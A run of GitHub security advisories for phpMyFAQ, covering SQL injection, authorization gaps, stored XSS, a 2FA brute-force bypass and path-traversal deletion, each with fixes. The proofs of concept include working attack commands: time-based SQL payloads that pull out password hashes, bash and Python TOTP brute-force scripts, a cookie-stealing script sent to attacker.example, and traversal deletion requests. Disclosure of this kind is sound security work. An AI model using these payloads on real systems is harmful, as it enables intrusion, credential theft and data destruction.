while ($decoded !== $previous && $maxIterations-- > 0) { $previous = $decoded; $decoded = pregreplacecallback( '/&#(\d+);/', static fn(array $matches): string => mbchr((int) $matches[1], encoding: 'UTF-8'), $decoded, ); $decoded = pregreplacecallback( '/&#x([0-9a-fA-F]+);/', static fn(array $matches): string => mbchr(hexdec($matches[1]), encoding: 'UTF-8'), $decoded, ); $decoded = htmlentitydecode($decoded, ENTQUOTES | ENTHTML5, encoding: 'UTF-8'); }

// Safety net: if the loop exited due to iteration limit, do a final // numeric/hex entity decode pass to catch any remaining &#NNN; entities $decoded = pregreplacecallback( '/&#(\d+);/', static fn(array $matches): string => mbchr((int) $matches[1], encoding: 'UTF-8'), $decoded, ); $decoded = pregreplacecallback( '/&#x([0-9a-fA-F]+);/', static fn(array $matches): string => mbchr(hexdec($matches[1]), encoding: 'UTF-8'), $decoded, );

return pregreplace('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/', replacement: '', subject: $decoded); }

Additionally, consider serving uploaded SVG files with Content-Disposition: attachment or Content-Type: application/octet-stream to prevent browser rendering, as a defense-in-depth measure.

1 / 3
Source: GitHub
First published (updated )
Severity
9.3
SQL Injection, CSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() at phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298 and :330 interpolate the User-Agent header and client IP address into DELETE and INSERT queries with sprintf and no escaping. Both methods run on every hit to the public GET /api/captcha endpoint, which requires no authentication. An unauthenticated attacker sets the User-Agent header to a crafted SQL payload and runs SLEEP(), BENCHMARK(), or time-based blind extraction against the database that backs phpMyFAQ. Verified live against 4.2.0-alpha (master at b9f25109): baseline request 147 ms, request with User-Agent: x' OR SLEEP(2) OR 'x 4.09 s (two SLEEP(2) calls, one per vulnerable sink).

Details

phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:112 populates two private fields from untrusted HTTP input at construction time:

php $this->userAgent = $request->headers->get('user-agent'); $this->ip = $request->getClientIp();

Both fields are then dropped into sprintf() SQL templates without ever touching Database::escape() or a prepared statement.

garbageCollector() at line 298 (called on every captcha request via getCaptchaImage()):

php $delete = sprintf( " DELETE FROM %sfaqcaptcha WHERE useragent = '%s' AND language = '%s' AND ip = '%s'", Database::getTablePrefix(), $this->userAgent, // unescaped $this->configuration->getLanguage()->getLanguage(), $this->ip, // unescaped ); $this->configuration->getDb()->query($delete);

saveCaptcha() at line 330 does the same for INSERT:

php $insert = sprintf( "INSERT INTO %sfaqcaptcha (id, useragent, language, ip, captchatime) VALUES ('%s', '%s', '%s', '%s', %d)", Database::getTablePrefix(), $this->code, $this->userAgent, // unescaped $this->configuration->getLanguage()->getLanguage(), $this->ip, // unescaped $this->timestamp, ); $this->configuration->getDb()->query($insert);

For comparison, the same file's checkCaptchaCode() at line 472 passes user input through $db->escape() before interpolation. The BuiltinCaptcha author knew about escape(); the two sinks above skip it.

Reachability

phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/CaptchaController.php:39 exposes the vulnerable flow as an unauthenticated GET:

php #[Route(path: 'captcha', name: 'api.private.captcha', methods: ['GET'])] public function renderImage(): Response { if (!$this->captcha instanceof BuiltinCaptcha) { return new Response('', Response::HTTPNOTFOUND); } // ... $response->setContent($this->captcha->getCaptchaImage()); return $response; }

getCaptchaImage() calls saveCaptcha() and garbageCollector() unconditionally. No CSRF token, session, or rate limit gates the request. Any unauthenticated user hitting GET /api/captcha injects into two queries at once.

Impact surface

MySQL's query() method executes one statement per call, so the attacker cannot stack queries. Time-based blind extraction with SLEEP() or BENCHMARK() still works, and the attacker can:

- Read any row the web user has access to through bit-by-bit IF(SUBSTR((SELECT ...),1,1)='a', SLEEP(1), 0) chains. The faquser table holds authsource, login, and bcrypt password hashes for every registered user; faqconfig holds the main.phpMyFAQToken admin token and SMTP credentials. - UPDATE / DELETE arbitrary rows in the same connection's privilege scope using payloads that rewrite the DELETE's WHERE clause (for example, User-Agent: ' OR 1=1 -- deletes the entire faqcaptcha table and locks out legitimate users).

Proof of Concept

Tested against phpMyFAQ 4.2.0-alpha at master b9f25109fddb38eee19987183798638d07943f92, default install (MariaDB 10.6, Apache, PHP 8.4) on http://target:8090.

Step 1: Baseline request with a clean User-Agent:

bash time curl -sS -o /dev/null -w "HTTP %{httpcode} %{timetotal}s\n" \ -A "Mozilla/5.0" \ "http://target:8090/api/captcha?nocache=1" HTTP 500 0.147s

Step 2: Injection with SLEEP(2) in the User-Agent:

bash time curl -sS -o /dev/null -w "HTTP %{httpcode} %{timetotal}s\n" \ -A "x' OR SLEEP(2) OR 'x" \ "http://target:8090/api/captcha?nocache=2" HTTP 500 4.093s

The 4.09 s response time equals two SLEEP(2) executions, confirming the payload reached both the DELETE in garbageCollector() and the INSERT in saveCaptcha().

Step 3: Single-bit boolean extraction using time:

bash leaks first character of the admin hash; 2s = 'a', 0s = otherwise curl -sS -o /dev/null -A "x' OR IF(SUBSTR((SELECT pass FROM faquser LIMIT 1),1,1)='a',SLEEP(2),0) OR 'x" \ "http://target:8090/api/captcha?nocache=3"

Iterating position and character enables full credential exfiltration without any authentication.

Impact

Unauthenticated remote SQL injection against the primary phpMyFAQ datastore. In a default install the attacker reads every user credential hash, the admin token, SMTP credentials stored in faqconfig, and every FAQ row (including ones marked private or permission-scoped). DELETE-path payloads also tamper with or wipe arbitrary rows in the connection's scope. There is no authentication, CSRF token, or rate limit in front of /api/captcha.

Recommended Fix

Route both fields through Database::escape() before interpolation, or replace the sprintf + query() pattern with a prepared statement.

phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298-325:

php $db = $this->configuration->getDb(); $userAgent = $db->escape($this->userAgent); $language = $db->escape($this->configuration->getLanguage()->getLanguage()); $ip = $db->escape($this->ip);

$delete = sprintf( "DELETE FROM %sfaqcaptcha WHERE useragent = '%s' AND language = '%s' AND ip = '%s'", Database::getTablePrefix(), $userAgent, $language, $ip, ); $db->query($delete);

Apply the same change to saveCaptcha() at line 330 and to every other sprintf-into-SQL path in the file. A targeted audit for sprintf.SQL|sprintf.SELECT|sprintf.INSERT|sprintf.UPDATE|sprintf.DELETE across src/phpMyFAQ/ will surface the rest.

--- Found by aisafe.io

1 / 3
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

A review of phpMyFAQ-main uncovered an authorization issue in the admin-api routes.

Several backend endpoints only check whether the caller is logged in. They do not verify that the caller actually has backend or administrative privileges. As a result, a normal frontend user can access API endpoints that are clearly intended for administrative use.

During local reproduction, a regular user account was able to request /admin/api/index.php/dashboard/versions and receive a successful response from the backend management API.

This issue does not appear to give direct write access in the affected paths that were confirmed, so it should be treated as a backend information disclosure and privilege boundary failure rather than full admin compromise.

Details

The access control split is visible in the controller base class:

php public function userIsAuthenticated(): void { if (!$this->currentUser->isLoggedIn()) { throw new UnauthorizedHttpException('Unauthorized access.'); } }

protected function userHasPermission(PermissionType $permissionType): void { // permission-based check }

The problem is that several Administration\Api controllers use the weaker check even though the routes sit under the backend API namespace.

For example, phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/DashboardController.php exposes:

php #[Route(path: 'dashboard/versions', name: 'admin.api.dashboard.versions', methods: ['GET'])] public function versions(): JsonResponse { $this->userIsAuthenticated(); ... }

The same pattern appears in other backend-facing controllers, including:

- LdapController - ElasticsearchController - OpenSearchController - UpdateController

That matters because these endpoints are not part of the normal frontend feature set. They expose backend operational data such as version checks, upgrade state, LDAP configuration, health checks, and search backend status.

Three examples that stand out from an impact perspective are:

1. GET /admin/api/index.php/ldap/configuration

This can expose LDAP server configuration, mapping settings, group settings, and general authentication-related options. Even with secrets masked, this is still useful internal infrastructure information.

2. GET /admin/api/index.php/elasticsearch/statistics

If Elasticsearch is enabled, this can expose index names and search backend statistics that should normally stay in the admin area.

3. GET /admin/api/index.php/health-check

This is part of the update and maintenance workflow and can reveal operational state that ordinary users should not be able to inspect.

In other words, the issue is not that guests can reach the backend. The issue is that any ordinary authenticated user can cross the frontend/backend privilege boundary.

PoC

I reproduced this against a local Docker deployment of the project.

First, an unauthenticated request to the backend API is rejected:

http GET /admin/api/index.php/dashboard/versions HTTP/1.1 Host: 127.0.0.1 Accept: application/json

Response:

http HTTP/1.0 401 Unauthorized Content-Type: application/problem+json

{ "type": "http://127.0.0.1/problems/unauthorized", "title": "Unauthorized", "status": 401, "detail": "Unauthorized access.", "instance": "/dashboard/versions" }

Logged in with a normal frontend account:

- username: user1 - password: User12345!

After login, the same request was sent with the user session cookie:

http GET /admin/api/index.php/dashboard/versions HTTP/1.1 Host: 127.0.0.1 Cookie: PHPSESSID=<regular-user-session> Accept: application/json

Response:

http HTTP/1.0 200 OK Content-Type: application/json

{"success":"Latest version available: phpMyFAQ 4.1.1"}

That is enough to show that a non-admin account can call at least one backend management endpoint successfully.

Impact

The main impact is unauthorized access to backend-only operational information.

Depending on which optional features are enabled in a real deployment, this may let a normal user learn:

- upgrade and version status - maintenance or health-check information - LDAP environment details - Elasticsearch or OpenSearch backend status and statistics - internal administrative diagnostics

This was rated as Medium severity.

It was not categorized as High severity because the testing done did not confirm a direct administrative state change through the affected read-oriented endpoints. Still, this is a real privilege separation failure. A frontend account should not be able to query backend admin APIs simply because it has a valid session.

Remediation

The suggested approach should fix this in two layers.

1. Replace userIsAuthenticated() with explicit permission checks on backend endpoints that are intended for administrators only. 2. Review all Administration\Api controllers for similar cases and make the access model consistent. 3. Keep backend operational endpoints separated from ordinary user sessions unless there is a strong business reason to expose them. 4. Add regression tests that log in as a low-privileged user and verify that backend routes return 403 or 401 where appropriate.

1 / 3
Source: GitHub
First published (updated )
Severity
5.1
XSS, CSRF
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

The FAQ creation and update endpoints in phpMyFAQ apply FILTERSANITIZESPECIALCHARS (which HTML-encodes input), then immediately call htmlentitydecode() which reverses the encoding, followed by Filter::removeAttributes() which only strips HTML attributes — not tags. This allows <script>, <iframe>, <object>, and <embed> tags to be stored in the database and rendered unescaped via {{ answer|raw }} and {{ question|raw }} in the Twig template, causing JavaScript execution in every visitor's browser.

Details

Vulnerable code path (FAQ create — FaqController.php):

At line 120, the answer content is filtered: php $content = Filter::filterVar($data->answer, FILTERSANITIZESPECIALCHARS);

Filter::filterVar() calls filterSanitizeString() (Filter.php:135-144) which applies htmlspecialchars(), converting <script> to &lt;script&gt;. The regex /\x00|<[^>]>?/ then finds no literal angle brackets to strip.

At lines 150-154, the encoded content is decoded and passed to attribute-only sanitization: php ->setAnswer(Filter::removeAttributes(htmlentitydecode( (string) $content, ENTQUOTES | ENTHTML5, encoding: 'UTF-8', )))

htmlentitydecode() converts &lt;script&gt; back to <script>, fully reversing the earlier sanitization. Filter::removeAttributes() (Filter.php:150-196) only matches and strips attribute=value patterns from a known list of HTML attributes (event handlers like onclick, onerror, etc.) but performs no tag-level filtering. A <script> tag with no attributes passes through completely unchanged.

The identical pattern exists in the update endpoint at lines 389-398.

Rendering sink (faq.twig):

twig <h2 class="mb-4 border-bottom">{{ question | raw }}</h2> <article class="pmf-faq-body pb-4 mb-4 border-bottom">{{ answer|raw }}</article>

The |raw filter disables Twig's auto-escaping, causing the stored <script> tag to execute in every visitor's browser.

Additional rendering sinks exist in search.twig (line 75, 77) where search results also render FAQ content with |raw.

PoC

Prerequisites: Authenticated session with FAQADD permission and a valid CSRF token.

Step 1: Create a malicious FAQ bash curl -X POST 'https://target/admin/api/faq/create' \ -H 'Cookie: PHPSESSID=<adminsession>' \ -H 'Content-Type: application/json' \ -d '{ "data": { "pmf-csrf-token": "<validcsrftoken>", "question": "Harmless FAQ Title", "answer": "Helpful content<script>fetch(\"https://attacker.example/steal?c=\"+document.cookie)</script>", "categories[]": 1, "lang": "en", "tags": "", "active": "yes", "sticky": "no", "keywords": "test", "author": "Admin", "email": "admin@example.com", "comment": "n", "changed": "Initial", "notes": "", "serpTitle": "Harmless FAQ", "serpDescription": "Test", "openQuestionId": 0, "notifyEmail": "", "notifyUser": "", "recordDateHandling": "updateDate" } }'

Expected response: 200 OK with the new FAQ ID.

Step 2: Verify XSS execution

Navigate to the public FAQ page (e.g., https://target/content/1/{faqId}/en/harmless-faq-title.html). The <script> tag in the answer body executes, sending the visitor's cookies to the attacker's server.

Impact

- Session hijacking: An attacker with FAQ creation privileges can steal session cookies from any user (including administrators) who views the FAQ, enabling full account takeover. - Phishing: The injected script can modify page content to display fake login forms or redirect users to malicious sites. - Worm propagation: If the attacker captures an admin session, they can create additional malicious FAQs automatically, spreading the attack. - Scope: Every unauthenticated visitor who views the compromised FAQ is affected. The XSS also fires in search results via search.twig.

Recommended Fix

Replace the encode→decode→removeAttributes chain with a proper HTML sanitizer that operates on the DOM level. Use a library like HTML Purifier or Symfony's HtmlSanitizer component.

Immediate fix — add tag-level filtering to removeAttributes() (Filter.php):

php public static function removeAttributes(string $html = ''): string { // Strip dangerous HTML tags entirely $dangerousTags = ['script', 'iframe', 'object', 'embed', 'applet', 'form', 'base', 'link', 'meta']; foreach ($dangerousTags as $tag) { $html = pregreplace('/<' . $tag . '\b[^>]>.?<\/' . $tag . '>/is', '', $html); $html = pregreplace('/<' . $tag . '\b[^>]\/?>/is', '', $html); }

// Also sanitize javascript: URIs in href/src attributes $html = pregreplace('/\b(href|src)\s=\s["\']?\sjavascript:/i', '$1="', $html);

$keep = [ 'href', 'src', 'title', 'alt', 'class', 'style', 'id', 'name', 'size', 'dir', 'rel', 'rev', 'target', 'width', 'height', 'controls', ]; // ... rest of existing attribute removal logic

Recommended long-term fix: Replace custom sanitization with Symfony's HtmlSanitizer, which is already a project dependency ecosystem:

php use Symfony\Component\HtmlSanitizer\HtmlSanitizer; use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;

$config = (new HtmlSanitizerConfig()) ->allowSafeElements() ->blockElement('script') ->blockElement('iframe') ->blockElement('object') ->blockElement('embed');

$sanitizer = new HtmlSanitizer($config); $cleanAnswer = $sanitizer->sanitize($rawAnswer);

1 / 3
Source: GitHub
First published (updated )
Severity
9.3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

The /admin/check endpoint in AuthenticationController implements SkipsAuthenticationCheck, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary user-id and token values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated POST /admin/check with a user-id body field returns HTTP 302 to /admin/token?user-id=<value>, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php, lines 35-36 and 201-228.

The controller class declaration:

php final class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck

The SkipsAuthenticationCheck interface (phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php) is a marker interface that tells the ControllerContainerListener to skip authentication enforcement. Every route in this controller is reachable without a session.

The check action (line 201-228):

php #[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { if ($this->currentUser->isLoggedIn()) { return new RedirectResponse(url: './'); }

$token = Filter::filterVar($request->request->get(key: 'token'), FILTERSANITIZESPECIALCHARS); $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTERVALIDATEINT);

$user = $this->currentUserService; $user->getUserById($userId);

if (strlen((string) $token) === 6) { $tfa = $this->twoFactor; $result = $tfa->validateToken($token, $userId);

if ($result) { $user->twoFactorSuccess(); $this->adminLog->log($user, AdminLogType::AUTH2FASUCCESS->value . ':' . $user->getLogin()); return new RedirectResponse(url: './'); }

$this->adminLog->log($user, AdminLogType::AUTH2FAFAILED->value . ':' . $user->getLogin()); }

return new RedirectResponse('./token?user-id=' . $userId); }

Problems:

1. No session binding: The endpoint accepts user-id from the POST body. It does not verify that the caller previously authenticated with a password for that user. 2. No rate limit or lockout: Failed attempts redirect back to the token form with no counter, delay, or account lock. 3. Unauthenticated access: The SkipsAuthenticationCheck marker exempts the entire controller from auth enforcement.

The normal login flow (/admin/authenticate) redirects to /admin/token?user-id=X after a valid password. But nothing prevents Bob from skipping the password step and hitting /admin/check directly.

Proof of Concept

bash Step 1: Identify target user ID (admin is typically userid=1) TARGETHOST="http://target.example" USERID=1

Step 2: Brute-force the 6-digit TOTP code TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window. At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.

for code in $(seq -w 000000 999999); do RESPONSE=$(curl -s -o /dev/null -w "%{httpcode}:%{redirecturl}" \ -X POST "${TARGETHOST}/admin/check" \ -d "token=${code}&user-id=${USERID}")

# A successful 2FA grants a session and redirects to ./ # A failure redirects to ./token?user-id=1 if echo "$RESPONSE" | grep -qv "token?user-id="; then echo "[+] Valid TOTP: ${code}" break fi done

python Faster parallel version import requests from concurrent.futures import ThreadPoolExecutor

TARGET = "http://target.example/admin/check" USERID = 1

def trycode(code): r = requests.post(TARGET, data={"token": f"{code:06d}", "user-id": USERID}, allowredirects=False) location = r.headers.get("Location", "") if "token?user-id=" not in location: return code return None

with ThreadPoolExecutor(maxworkers=50) as pool: for result in pool.map(trycode, range(1000000)): if result is not None: print(f"[+] Valid TOTP: {result:06d}") break

Impact

Bob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, twoFactorSuccess() grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (High, 9.1) CWE: CWE-307 (Improper Restriction of Excessive Authentication Attempts)

Recommended Fix

1. Bind the 2FA step to a password-verified session: Store a flag in the server-side session during authenticate() indicating the user passed password auth. The check action must verify this flag before accepting TOTP attempts.

2. Add rate limiting / lockout: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.

3. Narrow the SkipsAuthenticationCheck scope: Move the /check and /token routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.

Example session-binding fix in check():

php #[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTERVALIDATEINT);

// Require that the session proves password auth for this specific user if ($this->session->get('2fapendinguserid') !== $userId) { return new RedirectResponse(url: './login'); }

// ... existing TOTP validation ... }

And in authenticate(), after successful password check:

php $this->session->set('2fapendinguserid', $this->currentUser->getUserId());

--- Found by aisafe.io

1 / 3
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

12 endpoints in ConfigurationTabController.php use userIsAuthenticated() (login-only check) instead of userHasPermission(PermissionType::CONFIGURATIONEDIT). This allows any authenticated user — including ones with zero admin permissions — to enumerate system configuration metadata including the permission model, active template, cache backend, mail provider, and translation provider.

Details

The ConfigurationTabController contains 15 public endpoints. Three of them (list, save, uploadTheme) correctly enforce CONFIGURATIONEDIT permission:

php // phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:63 public function list(Request $request): Response { $this->userHasPermission(PermissionType::CONFIGURATIONEDIT); // ✅ Correct // ... }

The remaining 12 only check that the user is logged in:

php // phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:353 public function translations(): Response { $this->userIsAuthenticated(); // ❌ Missing permission check // ... }

The difference between these two methods is significant:

php // AbstractController.php:258 — login-only protected function userIsAuthenticated(): void { if (!$this->currentUser->isLoggedIn()) { throw new UnauthorizedHttpException(challenge: 'User is not authenticated.'); } }

// AbstractController.php:317 — login + permission check protected function userHasPermission(PermissionType $permissionType): void { if (!$this->currentUser->isLoggedIn()) { throw new UnauthorizedHttpException(challenge: 'User is not authenticated.'); } $currentUser = $this->currentUser; if (!$currentUser?->perm->hasPermission($currentUser->getUserId(), $permissionType->value)) { throw new ForbiddenException(/ ... /); } }

There is no middleware or router-level authorization — the Kernel (Kernel.php) dispatches directly to controllers with only Language, Router, and Exception listeners. All authorization is at the controller method level.

The 12 affected endpoints (all GET, all under /admin/api/):

| # | Method | Route | Info Exposed | |---|--------|-------|-------------| | 1 | translations() | /configuration/translations | Available languages + current language | | 2 | templates() | /configuration/templates | Available themes + active theme | | 3 | faqsSortingKey() | /configuration/faqs-sorting-key/{current} | FAQ sorting key options | | 4 | faqsSortingOrder() | /configuration/faqs-sorting-order/{current} | FAQ sorting order | | 5 | faqsSortingPopular() | /configuration/faqs-sorting-popular/{current} | Popular FAQ sorting | | 6 | permLevel() | /configuration/perm-level/{current} | Permission model (basic/medium) | | 7 | releaseEnvironment() | /configuration/release-environment/{current} | Dev/production environment | | 8 | searchRelevance() | /configuration/search-relevance/{current} | Search relevance config | | 9 | seoMetaTags() | /configuration/seo-metatags/{current} | SEO meta tag config | | 10 | translationProvider() | /configuration/translation-provider/{current} | Translation service (DeepL, etc.) | | 11 | mailProvider() | /configuration/mail-provider/{current} | Mail provider (SMTP, etc.) | | 12 | cacheAdapter() | /configuration/cache-adapter/{current} | Cache backend (filesystem/redis/memcached) |

The translations() and templates() endpoints directly read from config/filesystem and expose current settings. The {current} endpoints render HTML <option> dropdowns where the caller-supplied value gets the selected attribute — an attacker can enumerate possible values to discover the current configuration.

PoC

bash Step 1: Authenticate as any user (even one with no admin permissions) and obtain the session cookie (pmfauthXXXX)

Step 2: Query configuration endpoints that should require CONFIGURATIONEDIT permission

Enumerate available languages and current language setting curl -s -b 'pmfauthXXXX=<session>' \ https://target.example/admin/api/configuration/translations

Enumerate available templates and which is active curl -s -b 'pmfauthXXXX=<session>' \ https://target.example/admin/api/configuration/templates

Discover permission model by trying known values curl -s -b 'pmfauthXXXX=<session>' \ https://target.example/admin/api/configuration/perm-level/basic

Discover release environment curl -s -b 'pmfauthXXXX=<session>' \ https://target.example/admin/api/configuration/release-environment/development

Discover cache backend curl -s -b 'pmfauthXXXX=<session>' \ https://target.example/admin/api/configuration/cache-adapter/filesystem

Discover mail provider curl -s -b 'pmfauthXXXX=<session>' \ https://target.example/admin/api/configuration/mail-provider/smtp

Discover translation provider curl -s -b 'pmfauthXXXX=<session>' \ https://target.example/admin/api/configuration/translation-provider/deepl

Expected: HTTP 403 Forbidden for a user without configurationedit permission. Actual: HTTP 200 with configuration data in HTML option format.

Impact

Any authenticated user (e.g., a regular FAQ contributor or a user with minimal permissions) can enumerate:

- The instance's permission model (basic vs. medium) — reveals access control architecture - Whether the instance runs in development or production mode — development mode may expose debug info - The cache backend (filesystem/redis/memcached) — useful for targeting cache-specific attacks - The mail provider configuration — reveals infrastructure details - Available and active templates/themes — aids in targeting template-specific vulnerabilities - Translation provider (e.g., DeepL) — reveals third-party service integrations

While no credentials or secrets are directly exposed, this configuration metadata aids targeted follow-up attacks and violates the principle of least privilege — these endpoints exist to serve the admin configuration UI and should require the same CONFIGURATIONEDIT permission as the list and save endpoints.

Recommended Fix

Replace $this->userIsAuthenticated() with $this->userHasPermission(PermissionType::CONFIGURATIONEDIT) in all 12 affected methods:

php // In ConfigurationTabController.php — apply to all 12 methods // Before (line 355, and equivalent in all others): $this->userIsAuthenticated();

// After: $this->userHasPermission(PermissionType::CONFIGURATIONEDIT);

Affected methods: translations(), templates(), faqsSortingKey(), faqsSortingOrder(), faqsSortingPopular(), permLevel(), releaseEnvironment(), searchRelevance(), seoMetaTags(), translationProvider(), mailProvider(), cacheAdapter().

1 / 3
Source: GitHub
First published (updated )
Severity
7
Path Traversal, CSRF
AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H

Summary

Client::deleteClientFolder() in phpmyfaq/src/phpMyFAQ/Instance/Client.php:583 takes a URL from the caller, strips the https:// prefix, and passes the remainder to Filesystem::deleteDirectory() relative to the multisite clientFolder. No path-traversal validation runs. An admin with the INSTANCEDELETE permission (a role short of SUPERADMIN) submits https://../../../<path> as the client URL and the server recursively deletes arbitrary directories under the web user's rights. Same pattern and reachability as GHSA-38m8-xrfj-v38x, which the project accepted at High severity three weeks earlier.

Details

phpmyfaq/src/phpMyFAQ/Instance/Client.php:583-591:

php public function deleteClientFolder(string $sourceUrl): bool { if (!$this->isMultiSiteWriteable()) { return false; }

$sourcePath = strreplace(search: 'https://', replace: '', subject: $sourceUrl); return $this->filesystem->deleteDirectory($this->clientFolder . $sourcePath); }

strreplace strips the scheme but does nothing about ../ segments. The concatenation $this->clientFolder . $sourcePath directly feeds the filesystem call, which traverses above clientFolder without complaint.

Callers feed the URL from the HTTP request body:

phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/InstanceController.php:184:

php if (1 !== $instanceId && $client->deleteClientFolder($clientData->url) && $client->delete($instanceId)) {

$clientData->url comes from jsondecode($request->getContent()). The route is admin.api.instance.delete, gated by INSTANCEDELETE. The controller does not validate the URL against a scheme list or canonicalize the path before handing it to deleteClientFolder().

InstanceController.php:144 (edit path) and Controller/Administration/InstanceController.php:151 (form path) both reach the same sink through different entry points.

Precedent

GHSA-38m8-xrfj-v38x (2026-03-31) disclosed the identical bug class in MediaBrowserController::index(): an admin-gated API endpoint concatenates a user-supplied filename to a base directory without traversal validation. phpMyFAQ accepted that report at High severity. The present finding is the same root cause in a different controller; the project's INSTANCEADD / INSTANCEDELETE permission is a granular admin right, not SUPERADMIN, so a lower-tier admin can reach the sink.

Proof of Concept

Prerequisites: a phpMyFAQ 4.2.x instance with the multisite subsystem bootstrapped (there must be a non-primary instance present for the delete controller branch to fire). Alice is an admin with INSTANCEADD and INSTANCEDELETE rights, no SUPERADMIN flag.

Step 1: Alice authenticates and retrieves the CSRF token for the instance admin page.

Step 2: Alice creates an instance whose url encodes a traversal payload. The create path at InstanceController.php:144 already concatenates to the clientFolder through the same deleteClientFolder('https://' . $hostname) call:

bash curl -sS -b "$ALICECOOKIE" -X POST "$BASE/admin/api/instance" \ -H "Content-Type: application/json" -H "x-csrf-token: $CSRF" \ -d '{"url":"https://../../../tmp/pmf-poc/","instance":"poc","comment":"poc","email":"a@b","admin":"alice","password":"poc1234!"}'

Step 3: Alice deletes the instance. The request body names the instance id to delete; the controller hands clientData->url directly to deleteClientFolder:

bash curl -sS -b "$ALICECOOKIE" -X POST "$BASE/admin/api/instance/2" \ -H "Content-Type: application/json" -H "x-csrf-token: $CSRF" \ -d '{"url":"https://../../../tmp/pmf-poc/"}'

The server computes $sourcePath = '../../../tmp/pmf-poc/', concatenates to <clientFolder>/, and recursively deletes the resulting path.

Live verification was not attempted against the test instance because the INSTANCEDELETE path requires the multisite/ subsystem to be bootstrapped with at least one non-primary instance; see InstanceController.php:184. The code path is unambiguous and the precedent GHSA confirmed the same admin gating was considered in-scope.

Impact

Any phpMyFAQ admin holding INSTANCEADD + INSTANCEDELETE but not SUPERADMIN can delete arbitrary directories writable by the PHP process. Outcomes:

- Destroy other tenants' data on a shared multisite deployment by traversing above the clientFolder into peer directories. - Delete phpMyFAQ's own content/, config/, or cache directories and lock the install out. - On a hosted deployment, overwrite or delete files anywhere under the web user's reach, including customer uploads outside phpMyFAQ.

phpMyFAQ's permission model gives INSTANCEADD / INSTANCEDELETE as a role that a hosting operator may delegate to a subordinate admin without granting SUPERADMIN. That delegation is now a direct path-traversal-delete primitive.

Recommended Fix

Canonicalize and validate the URL before forming the filesystem path.

phpmyfaq/src/phpMyFAQ/Instance/Client.php:583:

php public function deleteClientFolder(string $sourceUrl): bool { if (!$this->isMultiSiteWriteable()) { return false; }

$parsed = parseurl($sourceUrl); if (!isarray($parsed) || !isset($parsed['host']) || ($parsed['scheme'] ?? '') !== 'https') { return false; }

$host = $parsed['host']; if (!pregmatch('/^[a-z0-9][a-z0-9.-]$/i', $host)) { return false; }

$target = realpath($this->clientFolder . $host); $root = realpath($this->clientFolder); if ($target === false || $root === false || !strstartswith($target, $root . DIRECTORYSEPARATOR)) { return false; }

return $this->filesystem->deleteDirectory($target); }

parseurl rejects malformed inputs, the regex pins the host to valid DNS characters (no /, no ..), and the realpath check ensures the resolved target lives under clientFolder. Apply the same canonicalization at the controller layer (InstanceController::add, ::update, ::delete) so the URL is validated before every call that touches the filesystem.

--- Found by aisafe.io

1 / 3
Source: GitHub
First published (updated )
Severity
8.2
XSS, CSRF
AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N

Summary

The search result rendering template (search.twig) outputs FAQ content fields result.question and result.answerPreview using Twig's | raw filter, which completely disables the template engine's built-in auto-escaping.

A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, htmlentitydecode(striptags(...)) restores the raw HTML tags — bypassing striptags() — and the restored payload is injected into every visitor's browser via the | raw output.

This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects faq.twig, bypass via regex mismatch in Filter::removeAttributes()) and is not addressed by the 4.1.1 patch.

---

Affected Files

| File | Location | Issue | |---|---|---| | phpmyfaq/assets/templates/default/search.twig | lines rendering result.question, result.answerPreview | (Vertical Bar) raw disables autoescape | | phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php | search result processing loop | htmlentitydecode(striptags(...)) restores encoded payloads | | phpmyfaq/src/phpMyFAQ/Search.php | logSearchTerm() | No HTML sanitization on stored search term (secondary, preventive) |

---

Details

Vulnerability A (Primary): search.twig — | raw Disables Autoescape

File: phpmyfaq/assets/templates/default/search.twig

twig <a title="Test" href="{{ result.url }}">{{ result.question | raw }}</a> <small class="small">{{ result.answerPreview | raw }}...</small>

Twig's autoescape encodes all variables by default. The | raw filter unconditionally disables this protection. Both result.question and result.answerPreview are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.

